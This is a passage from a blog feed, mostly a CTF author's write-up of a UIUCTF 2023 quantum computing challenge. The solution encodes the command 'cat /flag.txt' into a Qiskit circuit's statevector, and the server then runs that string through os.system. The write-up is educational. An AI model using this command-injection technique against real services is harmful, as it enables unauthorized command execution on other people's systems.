<p>One really nice feature of eww is that PDFs and other non-text files will automatically open in their respective Emacs major mode; to further facilitate that, I mimicked Zotero&rsquo;s connectors by redirecting arXiv abstracts to their PDFs.</p>
<p><kbd>fysh/browse-url-proxy-prefix</kbd> was meant to view PDFs from paywalled journals through my university&rsquo;s proxy; eww can&rsquo;t auth because there&rsquo;s no JS engine, so I considered reusing cookies from my primary browser, but that sounds like a lot more work than just Gib Lenning the papers instead 😉</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>    (<span style="color:#f78fe7">define-advice</span> <span style="color:#00d3d0">xwidget-kill-buffer-query-function</span> (<span style="color:#f78fe7">:override</span> () <span style="color:#00d3d0">always-kill</span>) t))</span></span></code></pre></div>
</details>

<p>I don&rsquo;t like being asked to kill buffers; <kbd>(defalias &lsquo;yes-or-no-p &lsquo;y-or-n-p)</kbd> usually does the trick, but take this as my parting advice for the reader.</p>
<h2 id="feeds-i-read">Feeds I Read</h2>
<h3 id="scott-aaronson-cs-quantum"><a href="https://scottaaronson.blog/?feed=rss2">Scott Aaronson</a> cs, quantum</h3>
<h3 id="andrew-kelley-zig-systems"><a href="https://andrewkelley.me/rss.xml">Andrew Kelley</a> zig, systems</h3>
<h3 id="xe-iaso-nix"><a href="https://xeiaso.net/blog.rss">Xe Iaso</a> nix</h3>
<h3 id="artemis-nix"><a href="https://artemis.sh/feed.xml">Artemis</a> nix</h3>
<h3 id="jade-lovelace-nix"><a href="https://jade.fyi/rss.xml">Jade Lovelace</a> nix</h3>
<h3 id="ian-henry-nix"><a href="https://ianthehenry.com/feed.xml">Ian Henry</a> nix</h3>
<h3 id="jakob-kreuze-emacs-security"><a href="https://jakob.space/feed.xml">Jakob Kreuze</a> emacs, security</h3>
<h3 id="jon-sangster-nix-emacs"><a href="https://ertt.ca/feed.atom">Jon Sangster</a> nix, emacs</h3>
<h3 id="chris-wellons-emacs-systems"><a href="https://nullprogram.com/feed/">Chris Wellons</a> emacs, systems</h3>
<h3 id="evan-ovadia-vale-systems"><a href="https://verdagon.dev/rss.xml">Evan Ovadia</a> vale, systems</h3>
<h3 id="karthinks-emacs"><a href="https://karthinks.com/index.xml">Karthinks</a> emacs</h3>
<h3 id="xkcd-webcomic"><a href="https://xkcd.com/atom.xml">XKCD</a> webcomic</h3>
<h3 id="leftover-salad-webcomic"><a href="https://www.leftoversalad.com/rss.php">Leftover Salad</a> webcomic</h3>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Schrödinger&#39;s Cat]]></title>
    <link href="https://feyor.sh/writeups/schroedingers_cat/"/>
    <id>https://feyor.sh/writeups/schroedingers_cat/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2023-07-12T00:00:00+00:00</published>
    <updated>2025-12-24T13:31:45-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/schroedingers_cat/"><![CDATA[<p><strong>Schrödinger&rsquo;s Cat</strong> was a quantum computing misc challenge <del>repurposed</del> written for UIUCTF 2023.
The challenge had unrated difficulty and had 17 solves during the competition.</p>
<h2 id="description">Description</h2>
<blockquote>
<p>Our boss got mad that our SSH keys were weak, so now we&rsquo;re using a quantum computer to be extra secure!</p></blockquote>
<h3 id="hints">Hints</h3>
<ul>
<li>Hint 0:
There are known bugs in OpenQASM transpilation — please use Qiskit, and optimize your circuit before serialization.</li>
<li>Hint 1:
<del>Shendefraude? Bullocks I say! You&rsquo;re way off the Markov.</del> (This was a pretty terrible allusion to <a href="https://doi.org/10.1109/TCAD.2005.855930">this paper</a> that describes Qiskit&rsquo;s <kbd>StatePreparation</kbd> algorithm.)</li>
</ul>
<h3 id="files">Files</h3>
<ul>
<li><a href="https://github.com/sigpwny/UIUCTF-2023-Public/blob/main/challenges/misc/schrodingers-cat/challenge/server.py">server.py</a></li>
<li><a href="https://github.com/sigpwny/UIUCTF-2023-Public/blob/main/challenges/misc/schrodingers-cat/challenge/requirements.txt">requirements.txt</a></li>
</ul>
<h2 id="solution">Solution</h2>
<h3 id="code">Code</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> numpy <span style="color:#b6a0ff">as</span> np
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> base64 <span style="color:#b6a0ff">import</span> b64encode
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit.circuit.library <span style="color:#b6a0ff">import</span> StatePreparation
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit.compiler <span style="color:#b6a0ff">import</span> transpile
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> qiskit.quantum_info <span style="color:#b6a0ff">as</span> qi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>WIRES <span style="color:#00d3d0">=</span> <span style="color:#00bcff">5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># helper functions from challenge</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">normalization</span>(msg):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">assert</span>(<span style="color:#f78fe7">len</span>(msg) <span style="color:#00d3d0">&lt;=</span> WIRES<span style="color:#00d3d0">**</span><span style="color:#00bcff">2</span>)
</span></span><span style="display:flex;"><span>    state <span style="color:#00d3d0">=</span> np<span style="color:#00d3d0">.</span>array([<span style="color:#f78fe7">ord</span>(c) <span style="color:#b6a0ff">for</span> c <span style="color:#00d3d0">in</span> msg<span style="color:#00d3d0">.</span>ljust(<span style="color:#00bcff">2</span><span style="color:#00d3d0">**</span>WIRES, <span style="color:#79a8ff">&#39; &#39;</span>)])
</span></span><span style="display:flex;"><span>    norm <span style="color:#00d3d0">=</span> np<span style="color:#00d3d0">.</span>linalg<span style="color:#00d3d0">.</span>norm(state)
</span></span><span style="display:flex;"><span>    state <span style="color:#00d3d0">=</span> state <span style="color:#00d3d0">/</span> norm
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> (state, norm)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">transform</span>(sv, n):
</span></span><span style="display:flex;"><span>    legal <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">lambda</span> c: <span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39; &#39;</span>) <span style="color:#00d3d0">&lt;=</span> c <span style="color:#00d3d0">and</span> c <span style="color:#00d3d0">&lt;=</span> <span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39;~&#39;</span>)
</span></span><span style="display:flex;"><span>    renormalized <span style="color:#00d3d0">=</span> [<span style="color:#f78fe7">float</span>(i<span style="color:#00d3d0">.</span>real)<span style="color:#00d3d0">*</span>n <span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> sv]
</span></span><span style="display:flex;"><span>    rn_rounded <span style="color:#00d3d0">=</span> [<span style="color:#f78fe7">round</span>(i) <span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> renormalized]
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">not</span> np<span style="color:#00d3d0">.</span>allclose(renormalized, rn_rounded, rtol<span style="color:#00d3d0">=</span><span style="color:#00bcff">0</span>, atol<span style="color:#00d3d0">=</span><span style="color:#00bcff">1e-2</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;Your rehydrated statevector isn&#39;t very precise. Try adding at least 6 decimal places of precision, or contact the challenge author if you think this is a mistake.&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">print</span>(rn_rounded)
</span></span><span style="display:flex;"><span>        exit(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> np<span style="color:#00d3d0">.</span>any([<span style="color:#00d3d0">not</span> legal(c) <span style="color:#b6a0ff">for</span> c <span style="color:#00d3d0">in</span> rn_rounded]):
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;Invalid ASCII characters.&#34;</span>)
</span></span><span style="display:flex;"><span>        exit(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#79a8ff">&#39;&#39;</span><span style="color:#00d3d0">.</span>join([<span style="color:#f78fe7">chr</span>(n) <span style="color:#b6a0ff">for</span> n <span style="color:#00d3d0">in</span> rn_rounded])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">solve_qiskit</span>():
</span></span><span style="display:flex;"><span>    echo_sv, _ <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;echo &#39;Hello, world!&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>    cat_sv, cat_n <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;cat /flag.txt&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    circ <span style="color:#00d3d0">=</span> QuantumCircuit(WIRES)
</span></span><span style="display:flex;"><span>    circ<span style="color:#00d3d0">.</span>append(StatePreparation(cat_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;sp&#34;</span>), <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>    circ<span style="color:#00d3d0">.</span>append(StatePreparation(echo_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;inv_sp&#34;</span>, inverse<span style="color:#00d3d0">=</span><span style="color:#00bcff">True</span>), <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8"># append the original StatePreparation to confirm that this works; remove for payload</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">#circ.append(StatePreparation(echo_sv), range(WIRES))</span>
</span></span><span style="display:flex;"><span>    circ <span style="color:#00d3d0">=</span> transpile(circ, backend<span style="color:#00d3d0">=</span>Aer<span style="color:#00d3d0">.</span>get_backend(<span style="color:#79a8ff">&#34;aer_simulator&#34;</span>), optimization_level<span style="color:#00d3d0">=</span><span style="color:#00bcff">3</span>)
</span></span><span style="display:flex;"><span>    sv <span style="color:#00d3d0">=</span> qi<span style="color:#00d3d0">.</span>Statevector<span style="color:#00d3d0">.</span>from_instruction(circ)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> b64encode(circ<span style="color:#00d3d0">.</span>qasm()<span style="color:#00d3d0">.</span>encode()), cat_n
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">__name__</span> <span style="color:#00d3d0">==</span> <span style="color:#79a8ff">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">print</span>(solve_qiskit())</span></span></code></pre></div>
</details>

<h3 id="explanation">Explanation</h3>
<p>We connect to the challenge server and are greeted with the following:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you&#39;re ok with that!&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>given_sv, given_n <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;echo &#39;Hello, world!&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>print_given(given_sv, given_n)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">Please type your OpenQASM circuit as a base64 encoded string: &#34;</span>)</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you&#39;re ok with that!
</span></span><span style="display:flex;"><span>     ┌─────────────────┐┌───────────────────────┐
</span></span><span style="display:flex;"><span>q_0: ┤0                ├┤0                      ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_1: ┤1                ├┤1                      ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_2: ┤2 Your Circ Here ├┤2 echo &#39;Hello, world!&#39; ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_3: ┤3                ├┤3                      ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_4: ┤4                ├┤4                      ├
</span></span><span style="display:flex;"><span>     └─────────────────┘└───────────────────────┘
</span></span><span style="display:flex;"><span>Normalization constant: 419.1873089681986
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Executing...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hello, world!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please type your OpenQASM circuit as a base64 encoded string:</span></span></code></pre></div>

<p>Taking a look at the source, we see that we input some quantum circuit which is inserted before a different circuit, and the resultant statevector is then &ldquo;unnormalized&rdquo;, interpreted as a string, and fed to <kbd>os.system</kbd>.</p>
<p>Our end goal should be to embed a string like <kbd>ls</kbd> or <kbd>cat flag.txt</kbd>; this is trivial with the <kbd>normalization</kbd> function provided.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>cat_sv, cat_n <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;cat /flag.txt&#34;</span>)
</span></span><span style="display:flex;"><span>cat_circ <span style="color:#00d3d0">=</span> StatePreparation(cat_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;state_prep&#34;</span>)</span></span></code></pre></div>
</details>

<h4 id="what-is-the-normalization-constant">What is the normalization constant?</h4>
<p>The &ldquo;measurement rule&rdquo; in quantum mechanics dictates that the sum of all amplitudes squared must equal 1. In order to encode a vector of ASCII values in the circut, we first need to normalize it; to get back to the original vector, we &ldquo;undo&rdquo; the normalization by multiplying the scalar normalization constant.</p>
<p>Good news is, we didn&rsquo;t receive any mod mail on the normalization constant so&hellip; hopefully no one had any issues?</p>
<h4 id="where-s-the-measurement">Where&rsquo;s the measurement?</h4>
<p>You might be wondering how one might fit a 32 character string into 5 qubits, and more importantly; where are the measurement gates?
The output of the circuit is the <strong>statevector</strong>, which means if you were to measure the qubits instead, the probability of measuring a specific outcome would correspond to amplitudes in the statevector. Using the statevector, we&rsquo;re able to losslessly finangle lots of data into the rotation of a qubit that would otherwise be lost through measurement.</p>
<h4 id="about-statepreparation">About <kbd>StatePreparation</kbd></h4>
<p>The existing circuit embeddeds the string <kbd>echo &lsquo;Hello, world!&rsquo;</kbd> using Qiskit&rsquo;s <kbd>StatePreparation</kbd> function. This is a form of <strong>amplitude encoding</strong>, a way to encode information in the probability amplitudes of discrete quantum states.
A common point of confusion was that <kbd>StatePreparation</kbd> returns a statevector; it&rsquo;s actually an algorithm for creating a <span class="underline">circuit</span> that will transform <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="\ket{0}" display="inline">
<mrow>
<mo>|</mo>
<mn>0</mn>
<mo>⟩</mo>
</mrow>
</math>
into a desired statevector.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>circ <span style="color:#00d3d0">=</span> StatePreparation(given_sv)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(qi<span style="color:#00d3d0">.</span>Statevector<span style="color:#00d3d0">.</span>from_instruction(circ) <span style="color:#00d3d0">==</span> qi<span style="color:#00d3d0">.</span>Statevector(given_sv))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>True</span></span></code></pre></div>

<h4 id="hope-you-didn-t-sleep-through-linalg--i-did">Hope you didn&rsquo;t sleep through linalg (I did)</h4>
<p>The next part is to figure out how to &ldquo;get rid of&rdquo; the circuit applied after your input, which encodes the string <kbd>echo &lsquo;Hello, world!&rsquo;</kbd>. Quantum circuits are all really just unitary matrices, which means they&rsquo;re invertible.</p>
<p>So if we have input <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="I" display="inline">
<mi>I</mi>
</math>
, <kbd>echo</kbd> input <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="E" display="inline">
<mi>E</mi>
</math>
, and desired payload <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="P" display="inline">
<mi>P</mi>
</math>
in <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="IE=P" display="inline">
<mrow>
<mrow>
<mi>I</mi>
<mo>⁢</mo>
<mi>E</mi>
</mrow>
<mo>=</mo>
<mi>P</mi>
</mrow>
</math>
, that means <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="I=(PE^{\dagger})" display="inline">
<mrow>
<mi>I</mi>
<mo>=</mo>
<mrow>
<mo stretchy="false">(</mo>
<mrow>
<mi>P</mi>
<mo>⁢</mo>
<msup>
<mi>E</mi>
<mo>†</mo>
</msup>
</mrow>
<mo stretchy="false">)</mo>
</mrow>
</mrow>
</math>
.</p>
<p>In order to calculate <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="E^{\dagger}" display="inline">
<msup>
<mi>E</mi>
<mo>†</mo>
</msup>
</math>
, we need to grab <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="E" display="inline">
<mi>E</mi>
</math>
:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>echo_sv, _ <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;echo &#39;Hello, world!&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>E <span style="color:#00d3d0">=</span> StatePreparation(echo_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;echo&#34;</span>)</span></span></code></pre></div>
</details>

<p>And then take its inverse:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>E_inv <span style="color:#00d3d0">=</span> E<span style="color:#00d3d0">.</span>inverse()</span></span></code></pre></div>
</details>

<p>Finally, we compose the individual circuits together:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>circ <span style="color:#00d3d0">=</span> QuantumCircuit(WIRES)
</span></span><span style="display:flex;"><span>circ<span style="color:#00d3d0">.</span>append(cat_circ, <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>circ<span style="color:#00d3d0">.</span>append(E_inv, <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>circ<span style="color:#00d3d0">.</span>draw(<span style="color:#79a8ff">&#39;mpl&#39;</span>, filename<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;schroedingers_cat/circuit.png&#34;</span>)</span></span></code></pre></div>
</details>

<figure><img src="https://feyor.sh/writeups/schroedingers_cat/circuit.png">
</figure>

<p>Gross (and also kinda wrong). Qiskit&rsquo;s QASM converter will happily spit out black boxes like above, assuming whoever will consume the QASM will know what that means.</p>
<h4 id="an-aside-on-openqasm">An aside on OpenQASM</h4>
<p>If we try to convert our circuit as is to QASM, we run into some issues:</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>OPENQASM 2.0;
</span></span><span style="display:flex;"><span>include &#34;qelib1.inc&#34;;
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_dg q0 { ry(0.6960408807071358) q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_dg_5365343888 q0 { ry(1.5295115311526133) q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_reverse_dg q0 { ry(-0.04128479564228338) q0; }
</span></span><span style="display:flex;"><span>gate multiplex2_reverse_dg q0,q1 { multiplex1_reverse_dg_5365343888 q0; cx q1,q0; multiplex1_reverse_reverse_dg q0; cx q1,q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_dg_5273843856 q0 { ry(1.4620958103644106) q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_reverse_dg_5342559248 q0 { ry(0.10867083226993679) q0; }
</span></span><span style="display:flex;"><span>gate multiplex2_reverse_dg_5365334864 q0,q1 { multiplex1_reverse_dg_5273843856 q0; cx q1,q0; multiplex1_reverse_reverse_dg_5342559248 q0; }
</span></span><span style="display:flex;"><span>gate multiplex1_reverse_reverse_reverse_dg q0 { ry(0.10867083226993673) q0; }</span></span></code></pre></div>

<p>In order to emit QASM that Qiskit will actually understand, we need to transpile our circuit to a set of universal basis gates. This is also how quantum circuits are run on hardware, as each computer only understands a certain set of basis gates.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit <span style="color:#b6a0ff">import</span> Aer
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit.compiler <span style="color:#b6a0ff">import</span> transpile
</span></span><span style="display:flex;"><span>circ_transpiled <span style="color:#00d3d0">=</span> transpile(circ, backend<span style="color:#00d3d0">=</span>Aer<span style="color:#00d3d0">.</span>get_backend(<span style="color:#79a8ff">&#34;aer_simulator&#34;</span>), optimization_level<span style="color:#00d3d0">=</span><span style="color:#00bcff">3</span>)
</span></span><span style="display:flex;"><span>good_qasm <span style="color:#00d3d0">=</span> circ_transpiled<span style="color:#00d3d0">.</span>qasm()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#39;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#39;</span><span style="color:#00d3d0">.</span>join(good_qasm<span style="color:#00d3d0">.</span>split(<span style="color:#79a8ff">&#39;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#39;</span>)[:<span style="color:#00bcff">10</span>]))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>OPENQASM 2.0;
</span></span><span style="display:flex;"><span>include &#34;qelib1.inc&#34;;
</span></span><span style="display:flex;"><span>qreg q[5];
</span></span><span style="display:flex;"><span>u3(1.4344105714005226,0,0) q[0];
</span></span><span style="display:flex;"><span>u3(1.5262619493655363,0,0) q[1];
</span></span><span style="display:flex;"><span>u3(1.4620958103644108,0,0) q[2];
</span></span><span style="display:flex;"><span>u3(1.5295115311526135,0,0) q[3];
</span></span><span style="display:flex;"><span>u3(0.6960408807071358,0,0) q[4];
</span></span><span style="display:flex;"><span>cx q[4],q[3];
</span></span><span style="display:flex;"><span>u3(0.04128479564228338,-pi,-pi) q[3];</span></span></code></pre></div>

<p>A little tangent on OpenQASM: the implementation is <em>so</em> scuffed and incomplete to the point it makes Yandere Simulator look like enterprise software. I had poked around trying to develop a challenge focused on OpenQASM, but found that literally every interesting part of the spec was unimplemented 😢</p>
<p>Here&rsquo;s Qiskit&rsquo;s implementation of OpenQASM3&rsquo;s <kbd>include</kbd> statement:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">visit_Include</span>(<span style="color:#f78fe7">self</span>, node: ast<span style="color:#00d3d0">.</span>Include, context: State) <span style="color:#00d3d0">-&gt;</span> State:
</span></span><span style="display:flex;"><span>		<span style="color:#b6a0ff">if</span> node<span style="color:#00d3d0">.</span>filename <span style="color:#00d3d0">!=</span> <span style="color:#79a8ff">&#34;stdgates.inc&#34;</span>:
</span></span><span style="display:flex;"><span>				raise_from_node(node, <span style="color:#79a8ff">&#34;non-stdgates imports not currently supported&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#b6a0ff">for</span> name, (builder, n_arguments, n_qubits) <span style="color:#00d3d0">in</span> _STDGATES<span style="color:#00d3d0">.</span>items():
</span></span><span style="display:flex;"><span>				context <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">self</span><span style="color:#00d3d0">.</span>_define_gate(name, builder, n_arguments, n_qubits, node, context)
</span></span><span style="display:flex;"><span>		<span style="color:#b6a0ff">return</span> context</span></span></code></pre></div>
</details>

<p>I understand that this is alpha software for a rather small part of Qiskit, and I&rsquo;m not trying to pile on the Qiskit devs for not lavishing more attention on this, but&hellip; bruh.</p>
<h4 id="finishing-up">Finishing up</h4>
<p>All that&rsquo;s left is to <kbd>b64encode</kbd> this bad boy and ship it off to remote.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>payload <span style="color:#00d3d0">=</span> b64encode(good_qasm<span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># server side</span>
</span></span><span style="display:flex;"><span>transform(qi<span style="color:#00d3d0">.</span>Statevector<span style="color:#00d3d0">.</span>from_instruction(make_circ(given_sv, QuantumCircuit<span style="color:#00d3d0">.</span>from_qasm_str(b64decode(payload)<span style="color:#00d3d0">.</span>decode()))), cat_n)</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>cat /flag.txt</span></span></code></pre></div>

<h4 id="retrospection">Retrospection</h4>
<p>When the challenge was first released (on the second day of the CTF), I decided to not release the source. Although that was intended to prevent code reuse from <kbd>server.py</kbd>, it made the challenge waaaay too guessy. Not only that, but it was probably better to provide primitives so you could focus on solving the challenge instead of placating Qiskit&rsquo;s fussiness.</p>
<p>This very much locks you into using Qiskit and — according to some modmail I received — a particular way of solving the challenge. Even though the server was built against the latest version of Qiskit (and thus the version people would get from <kbd>pip install -r requirements.txt</kbd>), in the future I would release the server Dockerfile to remove any source of impurity. (This is somewhat ironic, given that the challenge author uses NixOS.)</p>]]></content>
    
  </entry>
  
</feed>
